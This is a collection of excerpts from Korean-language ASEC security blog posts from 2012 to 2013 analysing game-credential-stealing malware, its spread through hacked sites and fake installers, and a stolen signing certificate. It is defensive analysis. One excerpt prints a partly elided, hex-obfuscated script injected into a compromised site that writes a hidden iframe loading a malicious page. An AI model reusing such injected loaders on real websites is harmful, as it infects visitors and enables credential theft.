40곳 관리자 계정정보 노린 악성코드 상세 분석 Posted By ASEC , 2013년 7월 27일 2013년 7월 26일 보안뉴스에서 '언론사.포털 등 40곳 관리자 계정정보 노린 악성코드 출현!'이 보도되었다. 관련 악성코드를 분석 한 결과 유사 악성코드는 2012년 봄부터 배포되었으며 여름부터 사용자 및 관리자 계정을 훔치는 기능이 추가 된 것으로 확인되었다. 현재까지 정확한 감염 경로는 알려지지 않았지만 홈페이지를 변조해 취약한 웹브라우저로 접속 했을 때 감염되는 것으로 추정된다. 관련 악성코드는 관계도는 다음과 같다. 1. DSC_UP0399.jpg (imagebase11381.exe) 분석 감염된 시스템은 ahnurl.sys와 olesau32.dll 파일이 생성한다. 감염된 시스템에서 온라인 게임을 로그인 할 때 로그인 정보를 탈취하는 일반적인 온라인 게임 정보 탈취 악성코드이다. 게임 로그인 정보 외 특정 주소에 접속하면 로그인 정보를 유출하고 원격제어(백도어) 기능이 있는 파일을 다운로드 한다. 특정 주소는 방송사, 신문사, 포털, 쇼핑몰, 게임사, 보안 시스템 관리 등으로 직원이나 관리자 시스템을 노린 것으로 추정된다. 접속하는 주소에 따라 120504.gif ~ 120547.gif 중 하나를 다운로드한다. 2. 1205xx.gif…
국내P2P 사이트의 인증서를 악용한 온라인 게임핵 Posted By ASEC , 2013년 6월 4일 악성코드가 탈취한 인증서를 사용하여 자신을 서명한 사례는 국내외에서 간헐적으로 발생해 왔고 언론을 통해 보도 된 바 있다. 이번에 발견된 악성코드는 국내 해킹된 웹 사이트를 통해 유포가 됐으며, PC를 감염시키는 과정에서 생성된 파일들 중에 하나가 특정 P2P 사이트의 인증서로 서명되어 있음을 발견하였다. [그림 1] 국내 P2P 사이트의 인증서로 서명된 악성코드 위 [그림 1]이 최종으로 취약점(JAVA, IE, Flash Player)이 존재하는 PC로 다운로드 되어 실행되기까지의 과정을 정리해 보면 아래와 같다. 최초 악성 스크립트 링크가 삽입된 페이지 역시 P2P 웹 사이트였으며, makePCookie.js 파일에 Hex 문자열로 난독화된 형태의 악성 스크립트 링크가 존재 하였다. http://on****.co.kr/js/makePCookie.js • 난독화된 악성 스크립트 링크: window[“x64x6fx63x75x6dx65x6ex74”][“x77x72x69x74x65”](“x3cx69x66x72x61x6dx65 x77x69x64x74x68x3dx27x31x30x30x27x68x65x69x67x68x74x3dx27x30 x27x73x72x63x3dx27x68x74x74x70x3ax2fx2fx73x6ex73x6fx66x74x2ex64 x69//—중간생략—//x2ex68x74x6dx6cx27x3ex3cx2fx69x66x72x61x6dx65x3e”); • 난독화 해제 후 코드: 난독화된 코드가 IE에 의해서 해석되면서 또 다른 특정 사이트로부터 악성 스크립트인 css.html을 다운로드 한…
PUP(불필요한 프로그램)를 통한 온라인 게임핵 유포 Posted By ASEC , 2013년 4월 18일 온라인 게임핵으로 인한 많은 피해사례들이 보고되고 있는 가운데, 악성코드 감염시스템을 확인해 보면 다수의 PUP 프로그램이 설치되어 있었다. 이러한 PUP프로그램을 통해 온라인 게임핵이 유포되는 경우가 종종 발견되고 있어 사용자의 주의가 필요하다. 많은 사람들이 무료 프로그램이나 특정 툴을 다운로드 받을 때, 제작사의 홈페이지를 통해서 프로그램을 다운로드 받는 것이 아니라, 특정 게시판이나 블로그를 통해서 다운로드 받기도 한다. 개인에게 무료로 제공되고 있는 V3 Lite의 설치파일(v3litesg_setup.exe)을 위장하여 V3 Lite설치와 동시에 다수의 PUP 프로그램을 설치하고, 이 중 특정 PUP 프로그램이 온라인 게임핵을 다운로드하여 설치하는 방식으로 유포되고 있었다. – 악성코드 유포 블로그 [그림 1] 블로그에 게시된 악성파일 V3 설치파일로 위장한 파일을 다운로드 받은 후 속성을 살펴보면 안랩 홈페이지(http://www.ahnlab.com)에서 배포되는 V3 Lite의 설치버전과 다르다는 것을 알 수 있다. [그림 2] V3 Lite…
연말 포상으로 받은 상품권은 악성코드 제작자에게… Posted By ASEC , 2012년 12월 28일 국내에서는 3가지 피해사례가 끊임없이 발견되고 있다. 1. 온라인게임 계정 유출로 인한 피해 2. 안드로이드 기반의 스마트폰 소액결제로 인한 피해 3. 상품권 번호 유출로 인한 피해 1,2 번 항목에 해당하는 악성코드는 ASEC 블로그를 통하여 많은 정보를 게시하였다. http://asec.ahnlab.com/793 [온라인 게임 계정 유출 악성코드] http://asec.ahnlab.com/772 [온라인 게임 계정 유출 악성코드] http://asec.ahnlab.com/search/CHEST [스마트폰 SMS 정보 유출로 인한 결제 피해] 국내에서는 주말을 이용하여 대량 배포되고 있는 사용자의 정보 탈취용 악성코드가 끊임없이 발견되고 있다. 그 변종 또한 셀 수 없이 많으며, 이번에는 상품권 정보가 어떻게 유출 되는지 3번 항목에 대하여 살펴 보자. 해당 악성코드에 감염될 경우, 파일 생성 정보와 네트워크 정보는 아래와 같다. 네트워크 트래픽을 보면 PC의 MAC, OS, 사용하는 AV 정보들을 전송하는 것을 확인할 수 있다. testsample.exe CREATE C:WINDOWSsystem32drivers7f12a432.sys testsample.exe CREATE C:WINDOWSsystem32kakubi.dll testsample.exe CREATE C:WINDOWSsystem32wshtcpbi.dll testsample.exe DELETE C:WINDOWSsystem32wshtcpip.dll testsample.exe CREATE…
usp10.DLL 파일을 이용한 온라인 게임 악성코드 Posted By ASEC , 2012년 10월 22일 온라인 게임에서 사용되는 개인 정보들을 탈취하기 위한 악성코드는 몇 년에 걸쳐서 한국에서 꾸준히 발견되고 있으며, 이제는 매주 주말마다 새로운 변형들을 다양한 웹 어플리케이션 취약점들과 연동하여 유포하고 있다. 이러한 온라인 게임 관련 악성코드에 대해서 ASEC에서는 그 변형들이 악용하는 유포 기법들을 지속적으로 공유하고 잇다. 2011년 10월 – ws2help.dll을 교체하는 온라인 게임 악성코드 분석 2012년 3월 – CVE-2012-0754 취약점을 이용해 전파되는 온라인 게임핵 악성코드 2012년 7월 – XML 코어 서비스 취약점 악용으로 온라인 게임 악성코드 유포 2012년 7월 – GongDa Pack의 스크립트 악성코드 증가 2012년 8월 – YSZZ 스크립트 악성코드의 지속 발견 2012년 10월 – 패치드(Patched) 형태의 악성코드 변천사 이러한 온라인 게임의 사용자 개인 정보 탈취를 목적으로하는 악성코드가 최근에서는 usp10.DLL 파일을 악용하여 보안 소프트웨어를 무력화 기능까지 포함된 악성코드가 발견되었다. 이 번에 발견된 온라인 게임 관련 악성코드는 크게 3가지 부분으로…
